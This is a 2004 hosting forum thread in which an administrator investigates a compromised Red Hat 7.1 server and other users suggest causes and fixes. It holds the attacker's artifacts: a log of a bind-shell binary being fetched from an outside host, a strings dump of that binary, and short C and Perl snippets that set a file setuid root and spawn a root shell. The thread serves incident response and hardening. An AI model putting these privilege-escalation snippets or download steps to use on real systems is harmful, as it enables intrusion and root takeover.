Web Hosting Talk







View Full Version : Bindtty Hack, Take A Look


Xhost
07-05-2004, 08:22 AM
This showed up in the logs of one of my servers!:angry:



--01:24:39-- http://raky.home.cosmic-cp/
=> `index.html.1'
Resolving raky.home.cosmic-cp... failed: Host not found.
--01:26:41-- http://raky.home.cosmic-cow.net/bindtty
=> `bindtty'
Resolving raky.home.cosmic-cow.net... done.
Connecting to raky.home.cosmic-cow.net[69.31.32.153]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,637 [text/plain]

0K .......... .. 100% 108.25 KB/s

01:26:47 (108.25 KB/s) - `bindtty' saved [12637/12637]

Search results for: ! NET-69-31-32-0-1


OrgName: Quantum Tech Pty Ltd
OrgID: QTPL
Address: P.O. Box 6111
Address: Girrawheen
City: Perth
StateProv: WA
PostalCode: 6064
Country: AU

NetRange: 69.31.32.0 - 69.31.39.255
CIDR: 69.31.32.0/21
NetName: NLYR-69-31-32-0-1
NetHandle: NET-69-31-32-0-1
Parent: NET-69-31-0-0-1
NetType: Reallocated
NameServer: NS1.QUANTUM-TECH.COM
NameServer: NS2.QUANTUM-TECH.COM
Comment:
RegDate: 2003-04-12
Updated: 2003-04-12

OrgTechHandle: MVA6-ARIN
OrgTechName: Van Essen, Mike
OrgTechPhone: +61 8 9343 0428
OrgTechEmail: mike@quantumtech.net.au

# ARIN WHOIS database, last updated 2004-07-04 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.


Called this number and they are saying that they do not know any mike or quantumtech.

PS -aux
---------------------------------------------------------------------------------
xxxxx 15978 0.0 0.0 1484 4 ? S Jul01 0:00 ./bindtty
xxxxx 14456 0.0 0.0 2380 48 ? S Jul01 0:00 SCREEN
xxxxx 14457 0.0 0.0 2204 52 pts/0 S Jul01 0:00 /bin/sh
xxxxx 14463 0.0 0.0 1404 8 pts/0 S Jul01 0:00 ./suck
xxxxx 14464 0.0 0.0 1384 4 pts/0 S Jul01 0:00 ./suck
------------------------------------------------------------------------------------

Anyone seen this before?

Pulling up http://raky.home.cosmic-cow.net/bindtty

Gives the following:
ELF    4  4  (    4 44   

      X X    X XX|     d

dd        /lib/ld-linux.so.2    GNU 

  % %   # !   
 

 $        

    
 

   " k h|  xq  5  

Z    O   H ȇ  ؇  ' g 

  d x  9  (.  86  ԧ   

H  { X6  h  \ x:     < : 

9  v 9  . Ȉ'  ؈|  V 6    

<    _   q (:  84  A H9 

X|  h0  libc.so.6 strcpy waitpid ioctl stdout execve memcpy

perror dup2 socket select fflush bzero setpgid accept write kill bind chdir memchr signal read

htonl listen fork sprintf htons exit _IO_stdin_used __libc_start_main strlen open vhangup setsid

close __gmon_start__ GLIBC_2.0                                

       ii

 Ч# ԧ L P T X \

` d h l p
t x |
   

    _       

 ħ! ȧ" ̧$ UY 
5D%H %Lh %Ph

%Th %Xh %\h _%`h( %dh0 %hh8

p%lh@ `%phH P%thP @%xhX 0%|h` %hh

%hp %hx %h %h %h %h

%h_ _%_h %h %h p%h `%h

P%h @%h 0%h %h %ħh %ȧh

%̧h  1^PTRhhQVhhUS [Ó P

tЋ]ÐU=ا u-`t

`ҡ`uاÉU<t

t $<u]UhEءEܡEࡰEE衵EEE

EŕEȋE $EE D$E$EU‹ED(؈EEPED(EE

 U( D$ $ƕ$YDž ~

D$D$Е$D$ $h‹E E 8

y`D$D$ٕ$D$ $!‹EE8 yE $ Dž

 ;Dž UD$ $ D$ D$

$UD$ $ D$ $ UWt )D$ D$

$ Eă} y$Džw  D$ E؉$fE $ E$

(fED$ E؉D$Eĉ$y$jDžw  D$

Eĉ$y$8Džw h $=ԧ$@E}

t"ED$$ Džw  {$D$ $ ED$

E$D$ E$D$ E$E$dD$ $ D$ $

lE ED$EȉD$Eĉ$E} y,E} > Dž%Dž(Dž 

x{D$D$+x$wDžy D$ 

yyD$E$dyyyy{y y (y

~yU- 8
vyDŽ{ D$ $ ED$E$b

3w7w;w?wCwGfww$D$wD$

E$hE$m$ |E}  E$DD$T

E$E$!Eĉ$D$ $ 2D$ $ D$ E$D$

E$D$

E$E${D$D$$IE$D$8$ D$8$

(ȉwwEE(EE(D$

D$ D$ (D$E;E~ E@w
UBww$
y

EƒE(tYD$ (D$E$Www U

wD$(D$E$4- EƒE((wD$

(D$E$ww  (wT$D$ $=ww u

(w)Љ‹w)Љww~
Džw wD$wD$w$w*

+wD$wwD$E$fDžw fDžw

wfwfwwfwfwwD$D$T E$OD$ $

[(w)ЉD$(D$E$t(w+www

wD$wD$E$*wD$wD$E$E$E

ĉ$E$D$ D$ E$$

AE$uw}ÐUVS1TX-X9sƐXC9r[^]UX

-X]Xu ]]H XKu吐US,,tv '

ЋuX[]US [÷ R:]    pqrstuvwxyzabcde 0123456789abcdef /dev/ptmx

/dev/pty /dev/tty socket bind listen Daemon is starting... OK, pid = %d
/ /dev/null sh -i

HOME=%s Can't fork pty, bye!
/bin/sh 8  @
 (

 X
    @     8 (   

oo o d



n~·އ.>N^n~Έވ

.>N^n GCC: (GNU) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r3,

propolice) GCC: (GNU) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r3, propolice) GCC: (GNU) 3.2.3

20030422 (Gentoo Linux 1.4 3.2.3-r3, propolice) GCC: (GNU) 3.2.3 20030422 (Gentoo Linux 1.4

3.2.3-r3, propolice) GCC: (GNU) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r3, propolice) GCC:

(GNU) 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r3, propolice) GCC: (GNU) 3.2.3 20030422 (Gentoo

Linux 1.4 3.2.3-r3, propolice) ,    @ " $  _ 

 U  

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu/crti.S

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/csu GNU AS 2.14.90.0.6    

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu/crtn.S

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/csu GNU AS 2.14.90.0.6  % 

%  Y 


/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu crti.S  2,Wd 

@",:   ,Wdd,,-:   Y 


/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu crtn.S  : 

U   .symtab .strtab .shstrtab .interp .note.ABI-tag .hash .dynsym .dynstr

.gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame .data .dynamic

.ctors .dtors .jcr .got .bss .comment .debug_aranges .debug_info .debug_abbrev .debug_line

      #   

 1   (( 0    7  XX P    

?      G o  J    T o

    c  ((     l  88 

   u   @@   p   XX   

{           

    TT     XX

   dd      ,,   

 44     <<     @@

    ԧ      

  X    @   @

  ` *      

  h"   R    H+  

      (   X      

     (   8  @ 
X  

  
   T   X   d   ,

  4   <   @   ԧ    

            

       T  _  j 

_    _       

T  _      F 

       T  

Q   a  l ,   z 4    T    <  

 `    ا    Љ     a   0  

 8    T    <    P  $   

F  $        T 

$  j  t   d    h|   80 

 xq   8          Z    

    X   ȇ  , ؇  = \  J 8

 Z g  l   ~ x   @ 
 9   (.

  86   ԧ    H         X6 

 h  % 8  - X  @ 0  P ԧ  \ hj 

a x:  t     X   :   X   9 

 9    
 Ȉ'   ؈|   6    

( ԧ  / @   E ܧ  J <  [   l X 

 _    (:   84   X    H9  

 X|    h0  <command line>

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/config.h <built-in> abi-note.S

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu/abi-tag.h init.c

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu/crti.S

/var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu/defs.h initfini.c call_gmon_start

crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __EH_FRAME_BEGIN__ __JCR_LIST__ p.0 completed.1

__do_global_dtors_aux frame_dummy __CTOR_END__ __DTOR_END__ __FRAME_END__ __JCR_END__

__do_global_ctors_aux /var/tmp/portage/glibc-2.3.2-r3/work/glibc-2.3.2/buildhere/csu/crtn.S

bindtty.c elf-init.c _DYNAMIC write@@GLIBC_2.0 hangout close@@GLIBC_2.0 sig_child _fp_hw

perror@@GLIBC_2.0 fork@@GLIBC_2.0 signal@@GLIBC_2.0 fflush@@GLIBC_2.0 __fini_array_end

select@@GLIBC_2.0 htonl@@GLIBC_2.0 __dso_handle __libc_csu_fini execve@@GLIBC_2.0

memchr@@GLIBC_2.0 accept@@GLIBC_2.0 _init listen@@GLIBC_2.0 setsid@@GLIBC_2.0 vhangup@@GLIBC_2.0

stdout@@GLIBC_2.0 waitpid@@GLIBC_2.0 open_tty _start chdir@@GLIBC_2.0 strlen@@GLIBC_2.0 get_tty

__fini_array_start __libc_csu_init __bss_start main setpgid@@GLIBC_2.0

__libc_start_main@@GLIBC_2.0 __init_array_end dup2@@GLIBC_2.0 data_start printf@@GLIBC_2.0

bind@@GLIBC_2.0 _fini memcpy@@GLIBC_2.0 open@@GLIBC_2.0 bzero@@GLIBC_2.0 exit@@GLIBC_2.0 _edata

_GLOBAL_OFFSET_TABLE_ _end ioctl@@GLIBC_2.0 htons@@GLIBC_2.0 __init_array_start _IO_stdin_used

kill@@GLIBC_2.0 sprintf@@GLIBC_2.0 __data_start socket@@GLIBC_2.0 _Jv_RegisterClasses

read@@GLIBC_2.0 __gmon_start__ strcpy@@GLIBC_2.0


Holy??:angry: I don't like the looks of this..

Xhost
07-05-2004, 08:38 AM
I just grepped for files changed on the 1st of July, and lo and behold I found the bastard bindtty sitting in a Ikonboard 3.1.1 cgi script folder.

Is this deffinetly the way it go in the system and if so will removing or upgrading the script prevent it from happening again?

Slidey
07-05-2004, 08:53 AM
i suspect bindtty is just a bindshell that opens port 5299 and allows people to connect to your server as whatever user the program is run at..

if its in an ikonboard dir i expect they've hacked you via some insecure script and got in as your httpd uid. might be worth doing a further search around your system to see if they've done anything else

Slidey
07-05-2004, 08:56 AM
oh, and cosmic-cow.net looks like some free shell provider

and why hide the uids on your paste? it just stops people helping, nothing can really be gained from knowing htem ;)

Xhost
07-05-2004, 09:00 AM
It is a vhost UID not apache, do you think it was isolated to the UID the bindtty was setup under?

Xhost
07-05-2004, 09:03 AM
i suspect bindtty is just a bindshell that opens port 5299

They cannot connect to port 5299 if the firewall has blocked that port right? Do you think that they could have chnaged or taken out the ipchains?

Steven
07-05-2004, 10:19 AM
Originally posted by Xhost
They cannot connect to port 5299 if the firewall has blocked that port right? Do you think that they could have chnaged or taken out the ipchains?


Only if you were rooted and in that case you need an os reinstall

Arsalan
07-05-2004, 10:33 AM
What OS were your running by the way ?

Xhost
07-05-2004, 10:42 AM
RH LINUX 7.1

Xhost
07-05-2004, 10:47 AM
Chrootkit shows no signs of rootkits,

rpm -q -f /bin/ls/ -s | grep /bin/ls/

Seems fine, checking rest of systools now.

I don't think they got the log wiper going cuase I got them in an error.log Going to see if I can find out who upped the file, hopefully they used ftp?

Going to cross-reference that time frame also with the other logs if no trace of rooting.

Xhost
07-05-2004, 10:53 AM
PERL is run under SUEXEC on that server, so you think it would have had to have been a perl file they exploited? There is a good chance that they expoited IkonBoard?

I see some css and some cookie exploit warnings on the IkonBoard site with fixes, I just installed them, but I'm not sure if that was where they came in from in the first place?

Looking at SuExec log now.

Arsalan
07-05-2004, 10:56 AM
It could be a PHP based exploit.. See a few on our RH9 systems..

Xhost
07-05-2004, 11:57 AM
Thats what I thought at first something like phpshell.php or the like, but it would make no sense why they would put the file inside of the /cgi-bin folder, as it is outside of the /httpdocs or /public folder.

If it was a php script how will I be able to find the hole exactly so that I can block them from coming back. I have clean backups, and a clean CD with my sysfiles on it, but I would rather plug the hole first. Anyone got any suggestions? Keeping in mind that php is not run under SUEXEC on this box.

Xhost
07-05-2004, 02:28 PM
Well, this may be worst then I thought, I appears the logs mysqld.log, spooler.log, xferlog.log, netcfg.log have all been cleared :mad:

Can anyone suggest the next course of action?

How else would I be able to tell for sure if this box has been rooted?

Bash.hist is showing nothing odd, there is a wierd file in my root folder called no-install.php, it doesnt seem familiar, but when I open it it contains a copy of another text file I have and nothing else? Thats really weird, but is that enough to constitute a root compromise?

2uantuM
07-05-2004, 02:36 PM
you should probably wipe the server just incase.

Xhost
07-05-2004, 03:01 PM
I ran rkhunter and it found nothing either, but there are some very strange things in my /tmp folder!! LOOK:

FILENAME: bighole and bighole.c

CONTENTS OF BIGHOLE.C
main() {
setuid(0);
setgid(0);
chown("sush",0,0);
chmod("sush",04755);
}

FILE:
such.c

CONTENTS OF SUCH.C
main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

THE FILE SUCK is also here in my tmp folder!

also this :

a folder named tksysv-backup

And a folder name "flare"

CONTENTS OF FLARE:

#!/usr/bin/suidperl

print "Nothing can stop me now...\n";


I'm not going to wipe this box untill I find out how he got in exactly and get this hole plugged! Please help.

Steven
07-05-2004, 03:18 PM
XHost i highly suggest you wipe the server and have fedora or something installed. Maybe even redhat 9 and upgrade with YUM to centos. After that get the server locked down. That os is not supported by redhat and you are going to have more troble then its worth down the road.

Arsalan
07-05-2004, 03:31 PM
I have seen these files on one our servers as well. This was due to an insecure tmp directory. Cpanel provided a fix for this.

We ended up with these files since php was not running under phpsuexec, and a php script was used to exploit the server.

Since some files with root privileges WERE overwritten, i would suggest that you reinstall the system as well and ensure that;

1. Use phpsuexec
2. make your tmp directory secure (not sure what the exact command are right now, but i did see them some where on WHT)

By the way, try a chkrootkit scan (http://www.chkrootkit.org), it might reveal something significant (some other hidden directories etc).

Also, check the group/user privileges of the files in tmp, they might reveal the user who exploited the server. Going through his logs and directories might reveal the actual exploit used.

Arsalan
07-05-2004, 03:33 PM
Guess what I found

http://www.safechina.net/www_hack_co_za/redhat/6.1/xperl_sh.htm

It seems to be a perl exploit!!!!

Arsalan
07-05-2004, 03:37 PM
Here is another link i found

http://project.honeynet.org/scans/scan19/scan/som19/rootkitdetail.html

try searching for all .tar.gz file to find the user who exploited the system..

This is how we found out about the user who abused his privileges.

Xhost
07-05-2004, 03:38 PM
Thats sure it alright! Thanks

Arsalan
07-05-2004, 04:00 PM
No problem. By the way, were you offering customers shell access to your servers?

Xhost
07-05-2004, 04:14 PM
How did they get that crap into /tmp , did they upload it via a perl script?

Arsalan
07-05-2004, 04:17 PM
In our case, the culprit was a PHP script.

I think it was an insecure installation of phpnuke. It might be the same in your case as well..

AhmedFouad
07-05-2004, 04:22 PM
I saw once a perl script which open a small telnet server.
I think he used it then he gained root then installed this rootkit you have now.

Steven
07-05-2004, 04:29 PM
Insecure phpnuke, most commonly coppermine or my_egallery addons are the most common ways. This is a very common attack.


I saw once a perl script which open a small telnet server.
I think he used it then he gained root then installed this rootkit you have now.


Not uncommon there is even backconnect backdoors that work if you have incoming blocked restricted but outgoing is open, thus bypassing your firewall.

Arsalan
07-05-2004, 04:33 PM
If i remember correctly, it was indeed the my_egallery addon but the shell that was opened was not root....

thelinuxguy, any idea why xhost was rooted in this case?

Xhost
07-05-2004, 05:28 PM
This is the only thing I can dig up from what was left in the logs:

Secure.log
Jul 1 01:43:29 x1 xinetd[9660]: START: smtp pid=26658 from=208.254.72.2
Jul 1 01:43:39 x1 xinetd[9660]: START: smtp pid=31470 from=209.104.223.40
Jul 1 01:43:40 x1 suidperl[31973]: User 10019 tried to run dev 2054 ino 96737 in place of dev 2055 ino 325!
Jul 1 01:43:40 x1 suidperl[31973]: Filename of setuid script was ./none ~!bighole , uid 10019 gid 10001.
Jul 1 01:43:44 x1 suidperl[1722]: User 10019 tried to run dev 2054 ino 96737 in place of dev 2055 ino 325!
Jul 1 01:43:44 x1 suidperl[1722]: Filename of setuid script was ./none ~!bighole , uid 10019 gid 10001.
Jul 1 01:43:53 x1 xinetd[9660]: START: smtp pid=6225 from=84.97.101.220
Jul 1 01:44:02 x1 xinetd[9660]: START: smtp pid=11140 from=69.59.140.107
Jul 1 01:44:06 x1 xinetd[9660]: START: smtp pid=13044 from=69.59.165.200
Jul 1 01:44:07 x1 xinetd[9660]: START: smtp pid=13541 from=65.18.216.91
Jul 1 01:44:09 x1 xinetd[9660]: START: smtp pid=14262 from=69.59.165.196
Jul 1 01:44:12 x1 suidperl[15757]: User 10019 tried to run dev 2054 ino 96737 in place of dev 2055 ino 325!
Jul 1 01:44:12 x1 suidperl[15757]: Filename of setuid script was ./none ~!bighole , uid 10019 gid 10001.
Jul 1 01:44:17 x1 suidperl[18335]: User 10019 tried to run dev 2054 ino 96737 in place of dev 2055 ino 325!
Jul 1 01:44:17 x1 suidperl[18335]: Filename of setuid script was ./none ~!bighole , uid 10019 gid 10001.
Jul 1 01:44:19 x1 xinetd[9660]: START: smtp pid=19120 from=216.235.122.93
Jul 1 01:44:24 x1 xinetd[9660]: START: smtp pid=21979 from=209.40.99.8
Jul 1 01:44:33 x1 xinetd[9660]: START: smtp pid=26173 from=68.36.98.124
Jul 1 01:44:34 x1 suidperl[26715]: User 10019 tried to run dev 2054 ino 96737 in place of dev 2055 ino 325!
Jul 1 01:44:34 x1 suidperl[26715]: Filename of setuid script was ./none ~!bighole , uid 10019 gid 10001.
Jul 1 01:44:34 x1 xinetd[9660]: START: smtp pid=26839 from=205.188.157.34
Jul 1 01:44:34 x1 xinetd[9660]: START: smtp pid=27049 from=63.209.157.12

Xhost
07-05-2004, 05:33 PM
All the rootkit files in the /tmp folder where also UID 10019, but that is my UID.

Arsalan
07-05-2004, 05:37 PM
try : cat /etc/passwd | grep 10019

Arsalan
07-05-2004, 05:40 PM
Oops... I guess I am too stoned (its around 2:40 a.m. here right now). If the UID's are your own, then you were definatley rooted!

Xhost
07-05-2004, 05:46 PM
I guess I have to close the case and wipe this box clean, I just do not want to wipe it and then have the same thing happen again. I'm not sure if I have found the hole or not. I amd thinking that it was ikonboard, but Im not 100% positive.

Arsalan
07-05-2004, 05:52 PM
Upgrade to Fedora, As far as I can tell, this is a problem with Redhat prior to version 8.0.

Xhost
07-05-2004, 05:53 PM
There are 3 copies of phpnuke on this box, and one of them has a coppermine plugin. But they do not seem to be related as like I said the bindtty file was found in my Ikonboard folder and the secure.log file states that it was My UID & GID that was used to execute the bighole. Do you think they used the Ikonboard, I just patched it up now. Since there are no other signs of rootkits do you think I should still wipe, I probably should. Just gets me how both chrootkit and rkhunter are showing nothing throughout this whole issue.

I guess its time to pull out the old sniffer again.

Xhost
07-05-2004, 05:56 PM
Thanks for your help guys, I have RHEL3 but was saving it for a fresh server.

Now I guess I will have alot of work instead.

If anyone has anything to add, please let me know.

Arsalan
07-05-2004, 06:01 PM
Xhost,
Go for fedora :) Thats all i have to say for today...

2uantuM
07-05-2004, 06:22 PM
xhost, it didn't find any root kits because they probably deleted them. your ps, wget, etc, have probably all been replaced to make it seem like nothing is wrong while there is bindtty running in the background.

Xhost
07-05-2004, 10:31 PM
Ya, I know it's a write off now, I'm going to write this one off, as a lesson learned and make sure the new box will be much tighter.

I left the RH 7.1 on for a big client as they specifically wanted The PLESK5 CP for some reason. But now they will have to upgrade. I held it out for as long as I could. 2 years past it's lifecycle, I think that was pretty good.

Here lies my little RH 7.1 box, he fell into a BIGHOLE and couldn't get up! You will be missed but never forgotten, RIP, :bawling:

2uantuM
07-05-2004, 10:46 PM
it shouldn't be a big deal putting Plesk7.1 on RHE, for the most part its the same.

Xhost
07-05-2004, 11:18 PM
Yes, if it was a clean install it would be really easy, but I have to bring now the customers from the old RH7.1 box, up to the RHEL3.

Since PLESK was modularly built around each Distro, PLESK 5 Works only on RH7.x, PLESK 6 on RH7.x, RH8 & RH9, and PLESK 7 Finally on RHEL3. This means a process which backs up, formats,installs the OS then The new CP version and then restores the Customer data each step of the way aswell.

I better get a bigger coffee mug.

I will be worth it though.

Xhost
07-05-2004, 11:21 PM
Oh ya, and becuase I missed the question earlier, No I do not offer SSh, or telnet to my customers on shared boxes, but because I offer PERL, PHP, ASP and CFMX It is similar.

Xhost
07-31-2004, 12:43 PM
For anyone out there wondering, the /tmp partition can be secured by editing fstab and mounting it with the noexec, and nosuid params. Search for securing tmp on google and you will find it.

Steven
07-31-2004, 02:41 PM
Its not full proof however, also

/tmp
/var/tmp
/etc/httpd/proxy
/var/spool/mail
/etc/rpm

are common hiding places.